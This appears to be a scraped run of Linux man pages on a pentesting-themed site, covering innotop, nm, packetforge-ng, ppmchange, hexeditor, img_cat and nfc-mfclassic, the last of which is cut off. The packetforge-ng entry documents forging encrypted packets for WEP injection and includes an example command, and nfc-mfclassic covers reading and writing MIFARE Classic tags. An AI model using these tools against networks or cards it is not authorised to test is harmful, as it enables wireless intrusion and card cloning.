This data is from the SEMAPHORES section of SHOW INNODB STATUS and is nested one level deep. It comes from the lines that look like this: –Thread 1568861104 has waited at btr0cur.c line 424 ….

MYSQL PRIVILEGES

  • You must connect to MySQL as a user who has the SUPER privilege for many of the functions.

  • If you don’t have the SUPER privilege, you can still run some functions, but you won’t necessarily see all the same data.

  • You need the PROCESS privilege to see the list of currently running queries in Q mode.

  • You need special privileges to start and stop slave servers.

  • You need appropriate privileges to create and drop the deadlock tables if needed (see SERVER CONNECTIONS).

SYSTEM REQUIREMENTS

You need Perl to run innotop, of course. You also need a few Perl modules: DBI, DBD::MariaDB, Term::ReadKey, and Time::HiRes. These should be included with most Perl distributions, but in case they are not, I recommend using versions distributed with your operating system or Perl distribution, not from CPAN. Term::ReadKey in particular has been known to cause problems if installed from CPAN.

If you have Term::ANSIColor, innotop will use it to format headers more readably and compactly. (Under Microsoft Windows, you also need Win32::Console::ANSI for terminal formatting codes to be honored). If you install Term::ReadLine, preferably Term::ReadLine::Gnu, you’ll get nice auto-completion support.

I run innotop on Gentoo GNU/Linux, Debian and Ubuntu, and I’ve had feedback from people successfully running it on Red Hat, CentOS, Solaris, and Mac OSX. I don’t see any reason why it won’t work on other UNIX-ish operating systems, but I don’t know for sure. It also runs on Windows under ActivePerl without problem.

innotop has been used on MySQL versions 3.23.58, 4.0.27, 4.1.0, 4.1.22, 5.0.26, 5.1.15, and 5.2.3. If it doesn’t run correctly for you, that is a bug that should be reported.

FILES

$HOMEDIR/.innotop and/or /etc/innotop are used to store configuration information. Files include the configuration file innotop.conf, the core_dump file which contains verbose error messages if debug is enabled, and the plugins/ subdirectory.

GLOSSARY OF TERMS

tick
A tick is a refresh event, when innotop re-fetches data from connections and displays it.

ACKNOWLEDGEMENTS

The following people and organizations are acknowledged for various reasons. Hopefully no one has been forgotten.

Aaron Racine, Allen K. Smith, Aurimas Mikalauskas, Bartosz Fenski, Brian Miezejewski, Christian Hammers, Cyril Scetbon, Dane Miller, David Multer, Dr. Frank Ullrich, Giuseppe Maxia, Google.com Site Reliability Engineers, Google Code, Jan Pieter Kunst, Jari Aalto, Jay Pipes, Jeremy Zawodny, Johan Idren, Kristian Kohntopp, Lenz Grimmer, Maciej Dobrzanski, Michiel Betel, MySQL AB, Paul McCullagh, Sebastien Estienne, Sourceforge.net, Steven Kreuzer, The Gentoo MySQL Team, Trevor Price, Yaar Schnitman, and probably more people that have not been included.

(If your name has been misspelled, it’s probably out of fear of putting international characters into this documentation; earlier versions of Perl might not be able to compile it then).

COPYRIGHT, LICENSE AND WARRANTY

This program is copyright (c) 2006 Baron Schwartz. Feedback and improvements are welcome.

THIS PROGRAM IS PROVIDED AS IS AND WITHOUT ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF MERCHANTIBILITY AND FITNESS FOR A PARTICULAR PURPOSE.

This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, version 2; OR the Perl Artistic License. On UNIX and similar systems, you can issue `man perlgpl’ or `man perlartistic’ to read these licenses.

You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1335 USA.

Execute innotop and press ‘!’ to see this information at any time.

AUTHOR

Originally written by Baron Schwartz; currently maintained by Aaron Racine.

BUGS

You can report bugs, ask for improvements, and get other help and support at <https://github.com/innotop/innotop>. There are mailing lists, a source code browser, a bug tracker, etc. Please use these instead of contacting the maintainer or author directly, as it makes our job easier and benefits others if the discussions are permanent and public. Of course, if you need to contact us in private, please do.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

230 - Linux cli command x86_64-w64-mingw32-nm

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command x86_64-w64-mingw32-nm and provides detailed information about the command x86_64-w64-mingw32-nm, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the x86_64-w64-mingw32-nm.

NAME 🖥️ x86_64-w64-mingw32-nm 🖥️

list symbols from object files

SYNOPSIS

nm [-A|-o|–print-file-name] [-a|–debug-syms] [-B|–format=bsd] [-C|–demangle[=style]] [-D|–dynamic] [-fformat|–format=format] [-g|–extern-only] [-h|–help] [–ifunc-chars=CHARS] [-j|–format=just-symbols] [-l|–line-numbers] [–inlines] [-n|-v|–numeric-sort] [-P|–portability] [-p|–no-sort] [-r|–reverse-sort] [-S|–print-size] [-s|–print-armap] [-t radix|–radix=radix] [-u|–undefined-only] [-U|–defined-only] [-V|–version] [-W|–no-weak] [-X 32_64] [–no-demangle] [–no-recurse-limit|–recurse-limit]] [–plugin name] [–size-sort] [–special-syms] [–synthetic] [–target=bfdname] [–unicode=method] [–with-symbol-versions] [–without-symbol-versions] [objfile…]

DESCRIPTION

GNU nm lists the symbols from object files objfile…. If no object files are listed as arguments, nm assumes the file a.out.

For each symbol, nm shows:

  • The symbol value, in the radix selected by options (see below), or hexadecimal by default.

  • The symbol type. At least the following types are used; others are, as well, depending on the object file format. If lowercase, the symbol is usually local; if uppercase, the symbol is global (external). There are however a few lowercase symbols that are shown for special global symbols (u, v and w).

    “A”
    The symbol’s value is absolute, and will not be changed by further linking.

    “B”

    “b”

    The symbol is in the BSS data section. This section typically contains zero-initialized or uninitialized data, although the exact behavior is system dependent.

    “C”

    “c”

    The symbol is common. Common symbols are uninitialized data. When linking, multiple common symbols may appear with the same name. If the symbol is defined anywhere, the common symbols are treated as undefined references. The lower case c character is used when the symbol is in a special section for small commons.

    “D”

    “d”

    The symbol is in the initialized data section.

    “G”

    “g”

    The symbol is in an initialized data section for small objects. Some object file formats permit more efficient access to small data objects, such as a global int variable as opposed to a large global array.

    “i”
    For PE format files this indicates that the symbol is in a section specific to the implementation of DLLs. For ELF format files this indicates that the symbol is an indirect function. This is a GNU extension to the standard set of ELF symbol types. It indicates a symbol which if referenced by a relocation does not evaluate to its address, but instead must be invoked at runtime. The runtime execution will then return the value to be used in the relocation. Note - the actual symbols display for GNU indirect symbols is controlled by the –ifunc-chars command line option. If this option has been provided then the first character in the string will be used for global indirect function symbols. If the string contains a second character then that will be used for local indirect function symbols.

    “I”
    The symbol is an indirect reference to another symbol.

    “N”
    The symbol is a debugging symbol.

    “n”
    The symbol is in a non-data, non-code, non-debug read-only section.

    “p”
    The symbol is in a stack unwind section.

    “R”

    “r”

    The symbol is in a read only data section.

    “S”

    “s”

    The symbol is in an uninitialized or zero-initialized data section for small objects.

    “T”

    “t”

    The symbol is in the text (code) section.

    “U”
    The symbol is undefined.

    “u”
    The symbol is a unique global symbol. This is a GNU extension to the standard set of ELF symbol bindings. For such a symbol the dynamic linker will make sure that in the entire process there is just one symbol with this name and type in use.

    “V”

    “v”

    The symbol is a weak object. When a weak defined symbol is linked with a normal defined symbol, the normal defined symbol is used with no error. When a weak undefined symbol is linked and the symbol is not defined, the value of the weak symbol becomes zero with no error. On some systems, uppercase indicates that a default value has been specified.

    “W”

    “w”

    The symbol is a weak symbol that has not been specifically tagged as a weak object symbol. When a weak defined symbol is linked with a normal defined symbol, the normal defined symbol is used with no error. When a weak undefined symbol is linked and the symbol is not defined, the value of the symbol is determined in a system-specific manner without error. On some systems, uppercase indicates that a default value has been specified.

    “-”
    The symbol is a stabs symbol in an a.out object file. In this case, the next values printed are the stabs other field, the stabs desc field, and the stab type. Stabs symbols are used to hold debugging information.

    “?”
    The symbol type is unknown, or object file format specific.

  • The symbol name. If a symbol has version information associated with it, then the version information is displayed as well. If the versioned symbol is undefined or hidden from linker, the version string is displayed as a suffix to the symbol name, preceded by an @ character. For example foo@VER_1. If the version is the default version to be used when resolving unversioned references to the symbol, then it is displayed as a suffix preceded by two @ characters. For example foo@@VER_2.

OPTIONS

The long and short forms of options, shown here as alternatives, are equivalent.

-A

-o

–print-file-name

Precede each symbol by the name of the input file (or archive member) in which it was found, rather than identifying the input file once only, before all of its symbols.

-a

–debug-syms

Display all symbols, even debugger-only symbols; normally these are not listed.

-B
The same as –format=bsd (for compatibility with the MIPS nm).

-C

–demangle[=style]

Decode (demangle) low-level symbol names into user-level names. Besides removing any initial underscore prepended by the system, this makes C++ function names readable. Different compilers have different mangling styles. The optional demangling style argument can be used to choose an appropriate demangling style for your compiler.

–no-demangle
Do not demangle low-level symbol names. This is the default.

–recurse-limit

–no-recurse-limit

–recursion-limit

–no-recursion-limit

Enables or disables a limit on the amount of recursion performed whilst demangling strings. Since the name mangling formats allow for an infinite level of recursion it is possible to create strings whose decoding will exhaust the amount of stack space available on the host machine, triggering a memory fault. The limit tries to prevent this from happening by restricting recursion to 2048 levels of nesting. The default is for this limit to be enabled, but disabling it may be necessary in order to demangle truly complicated names. Note however that if the recursion limit is disabled then stack exhaustion is possible and any bug reports about such an event will be rejected.

-D

–dynamic

Display the dynamic symbols rather than the normal symbols. This is only meaningful for dynamic objects, such as certain types of shared libraries.

-f format

–format=format

Use the output format format, which can be bsd, sysv, posix or just-symbols. The default is bsd. Only the first character of format is significant; it can be either upper or lower case.

-g

–extern-only

Display only external symbols.

-h

–help

Show a summary of the options to nm and exit.

–ifunc-chars=CHARS
When display GNU indirect function symbols nm will default to using the i character for both local indirect functions and global indirect functions. The –ifunc-chars option allows the user to specify a string containing one or two characters. The first character will be used for global indirect function symbols and the second character, if present, will be used for local indirect function symbols.

  1. The same as –format=just-symbols.

-l

–line-numbers

For each symbol, use debugging information to try to find a filename and line number. For a defined symbol, look for the line number of the address of the symbol. For an undefined symbol, look for the line number of a relocation entry which refers to the symbol. If line number information can be found, print it after the other symbol information.

–inlines
When option -l is active, if the address belongs to a function that was inlined, then this option causes the source information for all enclosing scopes back to the first non-inlined function to be printed as well. For example, if main inlines callee1 which inlines callee2, and address is from callee2, the source information for callee1 and main will also be printed.

-n

-v

–numeric-sort

Sort symbols numerically by their addresses, rather than alphabetically by their names.

-p

–no-sort

Do not bother to sort the symbols in any order; print them in the order encountered.

-P

–portability

Use the POSIX.2 standard output format instead of the default format. Equivalent to -f posix.

-r

–reverse-sort

Reverse the order of the sort (whether numeric or alphabetic); let the last come first.

-S

–print-size

Print both value and size of defined symbols for the bsd output style. This option has no effect for object formats that do not record symbol sizes, unless –size-sort is also used in which case a calculated size is displayed.

-s

–print-armap

When listing symbols from archive members, include the index: a mapping (stored in the archive by ar or ranlib) of which modules contain definitions for which names.

-t radix

–radix=radix

Use radix as the radix for printing the symbol values. It must be d for decimal, o for octal, or x for hexadecimal.

-u

–undefined-only

Display only undefined symbols (those external to each object file). By default both defined and undefined symbols are displayed.

-U

–defined-only

Display only defined symbols for each object file. By default both defined and undefined symbols are displayed.

-V

–version

Show the version number of nm and exit.

-X
This option is ignored for compatibility with the AIX version of nm. It takes one parameter which must be the string 32_64. The default mode of AIX nm corresponds to -X 32, which is not supported by GNU nm.

–plugin name
Load the plugin called name to add support for extra target types. This option is only available if the toolchain has been built with plugin support enabled. If –plugin is not provided, but plugin support has been enabled then nm iterates over the files in ${libdir}/bfd-plugins in alphabetic order and the first plugin that claims the object in question is used. Please note that this plugin search directory is not the one used by ld’s -plugin option. In order to make nm use the linker plugin it must be copied into the ${libdir}/bfd-plugins directory. For GCC based compilations the linker plugin is called liblto_plugin.so.0.0.0. For Clang based compilations it is called LLVMgold.so. The GCC plugin is always backwards compatible with earlier versions, so it is sufficient to just copy the newest one.

–size-sort
Sort symbols by size. For ELF objects symbol sizes are read from the ELF, for other object types the symbol sizes are computed as the difference between the value of the symbol and the value of the symbol with the next higher value. If the bsd output format is used the size of the symbol is printed, rather than the value, and -S must be used in order both size and value to be printed. Note - this option does not work if –undefined-only has been enabled as undefined symbols have no size.

–special-syms
Display symbols which have a target-specific special meaning. These symbols are usually used by the target for some special processing and are not normally helpful when included in the normal symbol lists. For example for ARM targets this option would skip the mapping symbols used to mark transitions between ARM code, THUMB code and data.

–synthetic
Include synthetic symbols in the output. These are special symbols created by the linker for various purposes. They are not shown by default since they are not part of the binary’s original source code.

–unicode=[default|invalid|locale|escape|hex|highlight]
Controls the display of UTF-8 encoded multibyte characters in strings. The default (–unicode=default) is to give them no special treatment. The –unicode=locale option displays the sequence in the current locale, which may or may not support them. The options –unicode=hex and –unicode=invalid display them as hex byte sequences enclosed by either angle brackets or curly braces. The –unicode=escape option displays them as escape sequences (\uxxxx) and the –unicode=highlight option displays them as escape sequences highlighted in red (if supported by the output device). The colouring is intended to draw attention to the presence of unicode sequences where they might not be expected.

-W

–no-weak

Do not display weak symbols.

–with-symbol-versions

–without-symbol-versions

Enables or disables the display of symbol version information. The version string is displayed as a suffix to the symbol name, preceded by an @ character. For example foo@VER_1. If the version is the default version to be used when resolving unversioned references to the symbol then it is displayed as a suffix preceded by two @ characters. For example foo@@VER_2. By default, symbol version information is displayed.

–target=bfdname
Specify an object code format other than your system’s default format.

  1. Read command-line options from file. The options read are inserted in place of the original @file option. If file does not exist, or cannot be read, then the option will be treated literally, and not removed. Options in file are separated by whitespace. A whitespace character may be included in an option by surrounding the entire option in either single or double quotes. Any character (including a backslash) may be included by prefixing the character to be included with a backslash. The file may itself contain additional @file options; any such options will be processed recursively.

SEE ALSO

ar (1), objdump (1), ranlib (1), and the Info entries for binutils.

COPYRIGHT

Copyright (c) 1991-2024 Free Software Foundation, Inc.

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation; with no Invariant Sections, with no Front-Cover Texts, and with no Back-Cover Texts. A copy of the license is included in the section entitled “GNU Free Documentation License”.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

231 - Linux cli command packetforge-ng

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command packetforge-ng and provides detailed information about the command packetforge-ng, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the packetforge-ng.

NAME 🖥️ packetforge-ng 🖥️

ng - forge packets: ARP, UDP, ICMP or custom packets.

SYNOPSIS

packetforge-ng <mode> <options>

DESCRIPTION

packetforge-ng is a tool to create encrypted packets that can subsequently be used for injection. You may create various types of packets such as arp requests, UDP, ICMP and custom packets. The most common use is to create ARP requests for subsequent injection.

To create an encrypted packet, you must have a PRGA (pseudo random generation algorithm) file. This is used to encrypt the packet you create. This is typically obtained from aireplay-ng chopchop or fragmentation attacks.

OPTIONS

-H, –help
Shows the help screen.

-p <fctrl>
Set frame control word (hex)

-a <bssid>
Set Access Point MAC address

-c <dmac>
Set Destination MAC address

-h <smac>
Set Source MAC address

-j
set FromDS bit

-o
clear ToDS bit

-e
disable WEP encryption

-k <ip:[port]>
Set destination IP (and port)

-l <ip:[port]>
Set source IP (and port)

-w <file>
Write packet to this pcap file

-r <file>
Read packet from this pcap file

-y <file>
Read PRGA from this file

-t <ttl>
Set Time To Live in IP-Header

-s <size>
Set size of the generated null packet.

-0, –arp
Forge an ARP packet

-1, –udp
Forge an UDP packet

-2, –icmp
Forge an ICMP packet

-3, –null
Forge a llc null packet

-9, –custom
Build a custom packet, requires -r to read an unencrypted frame out of a pcap file.

EXAMPLE

packetforge-ng -y test.xor -a 00:09:5b:12:40:cc -h 00:10:2a:cb:30:14 -k 192.168.1.100 -l 192.168.1.1 -w arp-request.cap

AUTHOR

This manual page was written by Thomas d’Otreppe. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation On Debian systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL.

SEE ALSO

airbase-ng(8)
aireplay-ng(8)
airmon-ng(8)
airodump-ng(8)
airodump-ng-oui-update(8)
airserv-ng(8)
airtun-ng(8)
besside-ng(8)
easside-ng(8)
tkiptun-ng(8)
wesside-ng(8)
aircrack-ng(1)
airdecap-ng(1)
airdecloak-ng(1)
airolib-ng(1)
besside-ng-crawler(1)
buddy-ng(1)
ivstools(1)
kstats(1)
makeivs-ng(1)
wpaclean(1)
airventriloquist(8)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

232 - Linux cli command ppmchange

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ppmchange and provides detailed information about the command ppmchange, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ppmchange.

.

NAME 🖥️ ppmchange 🖥️

change all pixels of one color to another in a PPM image

SYNOPSIS

ppmchange

[-closeness=closeness_percent] [-remainder=remainder_color] [-closeok] [oldcolor newcolor] … [ppmfile]

EXAMPLES

ppmchange red blue redimage.ppm >blueimage.ppm

ppmchange red red -remainder=black myimage.ppm >redblack.ppm

ppmchange -closeness=10 white white black black

DESCRIPTION

This program is part of Netpbm(1) .

ppmchange reads a PPM image as input and changes all pixels of color oldcolor to color newcolor.

You may specify up to 256 oldcolor/newcolor pairs on the command line. ppmchange leaves all colors not mentioned unchanged, unless you specify the -remainder option, in which case they are all changed to the single specified color.

You can specify that colors similar, but not identical, to the ones you specify get replaced by specifying a “closeness” factor.

Specify the colors as described for the argument of the pnm_parsecolor() library routine .

If a pixel matches two different oldcolors, ppmchange replaces it with the newcolor of the leftmost specified one.

The maxval of the output image is the same as that of the input image. If a newcolor you specify cannot be exactly represented in that maxval, ppmchange assumes a color that is as close as possible to what you specified but can be represented with your maxval. Unless you specify the -closeok option, ppmchange issues a warning that it is using an approximation.

A common way that you can have this maxval problem, where the color you specify cannot be represented with your maxval, is that your input is a PBM (black and white) image that you are colorizing. The maxval in this case is 1, which severely limits the colors to which you can change. To avoid this problem, use pamdepth to make the maxval of your input something consistent with your colors. 255 is usually a good choice.

Before Netpbm 10.22 (April 2004), ppmchange always behaved as if the user specified -closeok, and there was no -closeok option.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), ppmchange recognizes the following command line options:

-closeness closeness_percent
closeness is a percentage indicating how close to the color you specified a pixel must be to get replaced. By default, it is 0, which means the pixel must be the exact color you specified.

A pixel gets replaced if the distance in color between it and the color you specified is less than or equal to closeness per cent of the maxval.

The “distance” in color is defined as the Cartesian sum of the individual differences in red, green, and blue intensities between the two pixels, normalized so that the difference between black and white is 100%.

This is probably simpler than what you want most the time. You probably would like to change colors that have similar chrominance, regardless of their intensity. So if there’s a red barn that is variously shadowed, you want the entire barn changed. But because the shadowing significantly changes the color according to ppmchange’s distance formula, parts of the barn are probably about as distant in color from other parts of the barn as they are from green grass next to the barn.

Maybe ppmchange will be enhanced some day to do chrominance analysis.

This option was new in Netpbm 9.8 (September 2000).

-closeok
This option affects how ppmchange interprets a color you specify in the arguments. When you specify this option, ppmchange may use a color close to, but not the same as what you specify. See the description section for details.

This option was new in Netpbm 10.22 (April 2004). Before that, ppmchange always behaved as if you specified this option.

-remainder color
ppmchange changes all pixels which are not of a color for which you specify an explicit replacement color on the command line to color color.

An example application of this is

ppmchange -remainder=black red red

to lift only the red portions from an image, or

ppmchange -remainder=black red white | ppmtopgm

to create a mask file for the red portions of the image.

SEE ALSO

pgmtoppm(1) , ppmcolormask(1) , ppm(1)

AUTHOR

Wilson H. Bent. Jr. ([email protected]) with modifications by Alberto Accomazzi ([email protected])

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/ppmchange.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

233 - Linux cli command hexeditor

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command hexeditor and provides detailed information about the command hexeditor, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the hexeditor.

NAME 🖥️ hexeditor 🖥️

Full screen curses Hex editor

SYNOPSIS

hexeditor [ filename ]

DESCRIPTION

Hexeditor is an editor to edit binary (or any) files or disks. The Display consists of the current offset from 0 (the first byte), the next sixteen bytes (aligned by bytes or 32-bit words), and its ASCII or EBCDIC text representation.

OPTIONS

-h, –help
Display help

-8, –highbit
Display 8-bit text

-a, –alltext
Display all text regardless that you know better

-b, –buffer
Buffer the entire file into memory. Faster, and enables insert and delete.

-d, –disk
File editing is a disk. OpenBSD and Linux only.

-f, –force
Force editing of a disk. Need this option to enable writing to disks.

-q, –quiet
Quiet Mode; Turn off all beeping.

-r, –readonly
Do not allow modifying the file

-v, –version
Display version number

Commands and keys

^A
Insert byte

Insert
Insert byte

^D
Delete byte

Delete
Delete byte

^E
viEw as text dump

^F
Page down

^V
Page down

Page Down
Page down

^B
Page Up

^Y
Page Up

Alt-V
Page Up

Page Up
Page Up

Tab
Switch from hex to text representation

^I
Switch from hex to text representation

^T
goTo offset

^G
Get help

^L
Redraw screen

^C
Quit without saving

^O
Save

^X
Save and Quit

^W
Search (text/hex)

^N
find Next

^U
Undo

^R
ASCII <=> EBCDIC

^P
Switch Spacings

^+
Binary Calculator

Author

Adam Rogoyski <[email protected]>

See Also

od (1)

BUGS

Editing disks is only supported in Linux and OpenBSD.

Please email Adam Rogoyski <[email protected]> with any bugs you might find. This man page is intentionally brief. Please Read the included documentation in Texinfo format for additional information

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

234 - Linux cli command img_cat

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command img_cat and provides detailed information about the command img_cat, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the img_cat.

NAME 🖥️ img_cat 🖥️

Output contents of an image file.

SYNOPSIS

img_cat [-i imgtype] [-b dev_sector_size] [-s start_sector] [-e stop_sector] [-vV] image [images]

DESCRIPTION

img_cat outputs the contents of an image file. Image files that are not raw will have embedded data and metadata. img_cat will output only the data. This allows you to convert an embedded format to raw or to calculate the MD5 hash of the data by piping the output to the appropriate tool.

ARGUMENTS

-i imgtype
Identify the type of image file, such as raw or aff. Use ‘-i list’ to list the supported types. If not given, autodetection methods are used.

-b dev_sector_size
The size, in bytes, of the underlying device sectors. If not given, the value in the image format is used (if it exists) or 512-bytes is assumed.

-s start_sector
The sector number to start at.

-e stop_sector
The sector number to stop at.

-v
Verbose output of debugging statements to stderr

-V
Display version

image [images]
The disk or partition image to read, whose format is given with ‘-i’. Multiple image file names can be given if the image is split into multiple segments. If only one image file is given, and its name is the first in a sequence (e.g., as indicated by ending in ‘.001’), subsequent image segments will be included automatically.

AUTHOR

Brian Carrier <carrier at sleuthkit dot org>

Send documentation updates to <doc-updates at sleuthkit dot org>

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

235 - Linux cli command nfc-mfclassic

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command nfc-mfclassic and provides detailed information about the command nfc-mfclassic, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the nfc-mfclassic.

NAME 🖥️ nfc-mfclassic 🖥️

mfclassic - MIFARE Classic command line tool

SYNOPSIS

nfc-mfclassic f|r|R|w|W a|A|b|B u|U<uid> DUMP [ KEYS [f] ]

DESCRIPTION

nfc-mfclassic is a MIFARE Classic tool that allow to read or write DUMP file using MIFARE keys provided in KEYS file.

MIFARE Classic tag is one of the most widely used RFID tags.

The firmware in the NFC controller supports authenticating, reading and writing to/from MIFARE Classic tags. This tool demonstrates the speed of this library and its ease-of-use. It’s possible to read and write the complete content of a MIFARE Classic 4KB tag within 1 second. It uses a binary MIFARE Dump file (MFD) to store the keys and data for all sectors.

Be cautious that some parts of a MIFARE Classic memory are used for r/w access of the rest of the memory, so please read the tag documentation before experimenting too much!

The f option to format the card will reset all keys to FFFFFFFFFFFF, all data to 00 and all ACLs to default.

